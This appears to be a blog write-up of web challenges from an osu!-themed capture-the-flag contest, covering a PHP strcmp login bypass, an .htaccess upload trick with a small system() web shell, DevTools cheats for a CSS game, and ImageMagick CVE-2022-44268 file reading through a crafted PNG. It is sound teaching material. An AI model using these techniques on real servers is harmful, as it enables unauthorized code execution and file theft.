Web
Overview
Web

Web

May 30, 2025
13 min read
web

Preliminary

Now, this is the best category of this contest. Might be because there are multiple web challenge authors, might be because it’s accessible to many people, might be because it’s the nicest category to solve out there without feeling we lack knowledge since web knowledges are easily accessible, might be all of these.

Initially I had a friend who wanted to join me on web, but they forgot to ask and I also didn’t want to ask, so I ended up doing the crypto ones on Saturday then dip. Revisiting, yeah, I should turn my focus to this next year.

When I say fun it doesn’t mean the web challenges are free, though. There are two quite impossible challenges that somebody has a wonderful, wonderful write-up for, I’ll link to theirs instead of writing my own.

The web category has one more very interesting constraint that I’ll put in the challenge description boxes. Basically, some of these challenges are hosted in a thing called instancers (find the instancer source code here), which when you request an instance of the challenge, it spawns one hosted instance of that challenge, each of that instance lasts for around 15 minutes.

Good luck with that instancer if you feel hosting the thing yourself is a hassle.

The Challenges

web/admin-panel

Admin Panel
Author
strellic
Category
web
Files
web_admin-panel.tar.gz
Flag
osu{php_is_too_3asy}
Solved in time?
no
Instancer
15 minutes

we found the secret osu! admin panel!!

can you find a way to log in and read the flag?

We’re presented with this login window upon opening an instance.

Login window

Well, we don’t have credentials for sure. Let’s check the source, surely the passwor-

login.php
$admin_password = bin2hex(random_bytes(16));

The password is literally random every login. Alright, so that’s not an option, now how about the way the password is checked then? That’s the second step, surely something hits.

login.php
if ($username == "peppy" && strcmp($admin_password, $password) == 0) {
$_SESSION["logged_in"] = true;
header("Location: admin.php");
exit();
}

A tiny amount of Googling later and you’ll find this vulnerability with using strcmp() like this in PHP, which allows you to type juggle and get in without ever touching entropy itself. To explain what would happen if we throw an array in strcmp() to compare against a string, we get NULL, and NULL == 0 is true.

Simple DevTools does the job well.

DevTools

I wonder why does the world keep using PHP if things like this has existed for 8 years and never got patched?

Anyway, now we can navigate to the admin panel. We’re presented with this window:

Admin panel

So looks like the second layer of this challenge is some sort of RCE. Check the source code again to see the upload logic, we can see a fatal flaw:

admin.php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_FILES["file"])) {
$file = $_FILES["file"];
$filename = $file["name"];
$contents = file_get_contents($file["tmp_name"]);
if (stripos($filename, ".php") !== false) {
echo "<h1>file is not allowed</h1>";
}
else if (stripos($contents, "<?php") !== false) {
echo "<h1>file has unsafe contents</h1>";
}
else {
move_uploaded_file($file["tmp_name"], "./uploads/" . $filename);
header("Location: /uploads/" . $filename);
}
die();
}
}

It checks if our file ends with .php, if not, it checks if it contains a php snippet. Well, we can just upload other things that’s both not a .php file and doesn’t contain a php snippet.

One more thing, this server uses an Apache HTTP server as denoted in the Dockerfile. We can use a .htaccess file to manage access rules and such, that’s searchable on Google as well really quickly. So, just make a little .htaccess file like this, then throw that on the server:

AddType application/x-httpd-php .trolshrug

That makes any file with the extension .trolshrug gets parsed as a PHP file, which obviously is both destructive, and disrespectful. Ignore whatever error appeared after uploading that .htaccess file, it doesn’t matter and you can simply get back to the admin page.

Now, in a file haha.trolshrug,

haha.trolshrug
<? system("cat /flag.txt"); ?>

This reads the flag and serves it as is. Upon uploading that, what we see is this blank page with just the flag’s content:

Flag

The challenge is solved.

web/osu-css

osu! CSS
Author
rebane2001
Category
web
Files
web_osu-css.tar.gz
Flag
osu{1m_n0t_4fr4id_0f_the_b1g_bl4ck_4nym0r3}
Solved in time?
no
Instancer
no instancer

We were fed up with cheaters, so we decided to rewrite osu! in a programming language that has no cheats.

Dude. The challenge maker actually recreated osu! in the one and only.

So, opening the file in a supported browser (here, the challenge stated Chrome and Firefox), we see some very standard gameplay on a very difficult classic map, The Big Black. Personally a fan, but I’m a taiko player, I can’t play this.

So let’s cheat just like we did with kaijuu/ss-me and rev/tosu-1. Initially I thought this would be easy, just find every circle, select and “open” it, surely that’ll do. DevTools once again, put this in the console:

document.querySelectorAll("#n").forEach(thing => thing.open = true);

Oh you thought. The anti-cheat

Now, I had no idea what was this about, I was as baffled as you are right now. Local anti-cheat in HTML.

Let’s go back and assess a little bit on what might have happened, there might be a few things this is doing:

  • Something that checks when the circle is hit? But when initially testing manually, we get scores even if we technically didn’t hit the circles in the right order, unlike osu! with its notelocking mechanism. So this couldn’t be.
  • The challenge maker placed several circles before the song starts or past the end of the song: because we technically can’t hit them legitimately, hitting them gets flagged as a cheat. Might as well be!
  • The challenge maker trolled us by outright placing some circles outside of the playfield and can’t be legitimately hit, same effect.

So let’s make something that filters out both of those possible conditions, let’s test in DevTools.

First, the circles’ hit time, this is controlled by the timestamp string of the animation property in style. Try log what that is for every circle:

document.querySelectorAll("#n").forEach(thing => {
const animString = thing.querySelector("div").style.animation;
console.log(animString);
});

We get a bunch of lines like this:

2s steps(2, jump-none) 10.466s 1 normal none running slideupleft
2s steps(2, jump-none) 582.549s 1 normal none running slideupleft
2s steps(2, jump-none) 10.549s 1 normal none running slideupleft
2s steps(2, jump-none) 10.632s 1 normal none running slideupleft
2s steps(2, jump-none) 301.632s 1 normal none running slideupleft
...

This is quite consistent. There are several circles placed outside of the play time, which is 144 seconds, so our theory about some circles placed outside of the play time is correct. To get just the time, just split each string by spaces and get the 4th entry in the returned array, parse it:

document.querySelectorAll("#n").forEach(thing => {
const objHitTime = parseFloat(thing.querySelector("div").style.animation.split(" ")[3]);
console.log(objHitTime);
});

Here’s what we get:

10.466
582.549
10.549
10.632
301.632
...

Now about several circles placed outside the playfield. How big is the playfield?

osu!css.html
<h1 style="color:#DE5B95">osu!css</h1>
<div
style="width: 640px; height: 480px;
overflow: hidden; background: #000;
line-height: initial; border-radius: 8px;">
...

And what controls each circle’s position? That’s left in style for most cases, in that case it can’t cross 640px and can’t be lower than 0px. Check in for that, same method:

document.querySelectorAll("#n").forEach(thing => {
const position = parseFloat(thing.querySelector("div").style.left);
console.log(position < 0 || position > 640);
});

And indeed some circles are out of the playfield:

false
true
false
true
false
...

Now, you can obviously read the HTML file to know these things, that works as well. After all, that 20,000 lines HTML file is still formattable and the blocks are still in order.

Anyway. Now we create a boolean, that boolean has to pass both conditions before being passed to our cheat:

document.querySelectorAll("#n").forEach(thing => {
let shouldBeHit = true;
// check for the circle's hit time, is it outside of the song's length?
const hitTime = parseFloat(thing.querySelector("div").style.animation.split(" ")[3]);
if (hitTime > 144) shouldBeHit = false;
// check for the position of the circle, is it outside of the playfield?
const position = parseFloat(thing.querySelector("div").style.left);
if (position < 0 || position > 640) shouldBeHit = false;
thing.open = shouldBeHit;
});

Alright that works. But now we have another problem: the flag is cut off. The flag is cut off

Coming back to the file, we see everything drawn outside of the playfield is by default hidden because the overflow property of the playfield’s div is hidden:

osu!css.html
<h1 style="color:#DE5B95">osu!css</h1>
<div
style="width: 640px; height: 480px;
overflow: hidden; background: #000;
line-height: initial; border-radius: 8px;">
...

We can just make it visible. Add this to our cheat:

document.querySelector("body>div").style.overflow = "visible";

There’s the full flag. This challenge is solved. The full flag

web/scorepost-generator

Scorepost Generator
Author
strellic
Category
web
Files
web_scorepost-generator.tar.gz
Flag
osu{but_h0w_do_1_send_my_fc_now??}
Solved in time?
yes
Instancer
no instancer

let’s see your crazy plays

Entering the challenge, we are presented with this window:

Challenge page

To start off, an .osz file is basically a zip file made for importing levels for osu!, and an .osr file is a player’s replay export file on a beatmap. On a quick behavior check, this page generates an image of the player’s score. My initial expectations for the way to solve this challenge is some sort of escalation crafted inside the .osz file, because that’s common. There’s probably nothing to do with the .osr file.

Checking the source code that hosts this challenge, we can inspect what the page does: it extracts and reads stuff in our .osz, does a few checks, reads the replay data, then crafts the image. There’s not really anything suspicious in the source functions themselves, except for some insignificant hacks here and there, until we check the Docker image used for this challenge:

Dockerfile
# HMMMMMMMMMMMMMMMMMMMMMMMMM......
FROM vulhub/imagemagick:7.1.0-49
# what an interesting image to use...

I could only guess pointing that out is the “beginner-friendly” part of the challenge, lol.

Going back to check, you could find the code segment that used imagemagick to read the beatmap’s background image, right inside scorepost.js:

scorepost.js
const size = await new Promise((resolve, reject) => {
gm(bgImagePath).size((err, size) => {
if (err) reject(err);
else resolve(size);
});
});

Our attack surface is on this line, because convert is an imagemagick command!

scorepost.js
await execFileAsync('convert', compositeArgs, { maxBuffer: 50 * 1024 * 1024 });

Use convert by installing imagemagick

So it looks like we need to craft a beatmap background image that exploits something in imagemagick. Now, we can find the image used for the challenge here, https://github.com/vulhub/vulhub/tree/master/imagemagick, and navigating around the three CVE directories, CVE-2022-44268 is the most interesting:

In the version prior to 7.1.0-51 on ImageMagick, there is [a] vulnerability that is able to be used to read [external files] when [modifying] a PNG file.

The Docker image used is using imagemagick 7.1.0-49, essentially saying we can use that CVE to complete the challenge. The technical details of this CVE is beyond the scope of this writeup, but ultimately it comes down to injecting a tEXt payload inside an image file to retrieve the content of a file of choice. The repository has also kindly provided a small proof-of-concept Python script to achieve exactly this.

That Python script does two things, but let’s focus on the first one, making our exploit background:

poc.py
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)
png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')

This simply makes a small PNG file with the payload in it, with the payload injected on line 3. Text metadata is something legal in the PNG specifications, but if a tool like ImageMagick naively interprets that tEXt chunk, it could just accidentally take a file’s content and embed it into the processed image itself. Here we want the flag’s content, and the flag is at the root of the docker environment, so we just supply /flag.txt:

Terminal window
python3 poc.py generate -o Kaijuu_ni_Naritai.png -r /flag.txt

Now we need the .osz file we’ll inject the image in, that’s easily obtainable. I did this by replacing the background in the Kaiju beatmap, but any Standard map will work. Then, get in osu!, go into the level editor and export the beatmap. That will be our exploit.

For the .osr file, since the page does check for a replay that matches the beatmap, just watch and export Auto’s replay (on Standard mode) on any difficulty of the same beatmap after the background replacement.

We have the resources to one-shot this challenge.

Go back to the page, upload the files as prompted, it will spit out a picture of our replay on the beatmap we supplied it. Download this image as is.

You can also programmatically do this, since the page’s source code does have an API for us to do so as well. Just POST to /api/submit under a multipart/form-data body with two file fields, osz and osr. Here’s a sample curl command:

Terminal window
curl -X POST https://your.selfhosted.api/api/submit \
-F "osz=@exploit.osz" \
-F "osr=@auto.osr" \
-o result.png

I opened this image in a random text editor. It shouldn’t matter what we use to read the image content whether a hex editor or a text editor, but what we should see is a Raw profile type tEXt field followed by a string of characters:

The image data in a text editor

The long string there is our encrypted flag. Put that in a decoder and the given challenge is solved.

web/blue-zenith

Blue Zenith
Author
osu!gang
Category
web
Flag
osu{wh3n_u_d0nt_s33_1t}
Solved in time?
no
Instancer
no instancer

WHEN YOU SEE IT!!! (or don’t).

One thing worth pointing out of this challenge is it’s rated 1/5 by the challenge authors, but it has less solves than some 2/5s. I didn’t get to this so I don’t know what happened, but for sure people might have missed a solve in plain sight.

We don’t have the source code this time around, and I was late to cover this challenge: the challenge page is now taken down. But, I think a nice write-up of this challenge is here, https://mariochao.github.io/capture-the-flags/write-ups/osu-gaming-2025/blue-zenith, where it is stated the challenge is a simple blind SQL injection and they used an error-based injection attack to solve it.

There is a proposed solution that uses time-based injection to brute-force every character of the flag. I personally think the error-based attack is cooler.

web/human-benchmark

Human Benchmark
Author
strellic
Category
web
Flag
I forgot what it was
Solved in time?
yes
Instancer
15 minutes

can you get to the top of the leaderboard?

I think this is the most difficult web challenge time-wise. We don’t have the source code so we can’t host this locally (it was reasonable, there’s a part of this challenge that might be impossible otherwise locally), and we have to deal with the 15-minute timer of the instancer.

The way I solved this challenge is clunky, weird and… frankly time-wasting, since I was a DevTools fan. And furthermore, this challenge has 4 different parts. Brace yourself for a long read.

[work-in-progress since I need to rework my code qwq]

web/chart-viewer & web/beatmap-list

Chart Viewer & Beatmap List
Author
chara & strellic
Category
web
Solved in time?
no

chart-viewer: I love looking at those chart background…

beatmap-list: we heard the admin has a secret osu! beatmap… can you find it?

These are the two most difficult web challenges. A very active CTF team, who also won this year’s contest, wrote a very, very amazing and detailed solve for both of these, totalling up to a half-an-hour read.

The selling point for me to convince you to please give this a read: You might have never heard of the phrase “escalating RCE into XSS”. Now you will.

Learn from the best! Here goes: https://spl.team/blog/osu_ctf_writeups/.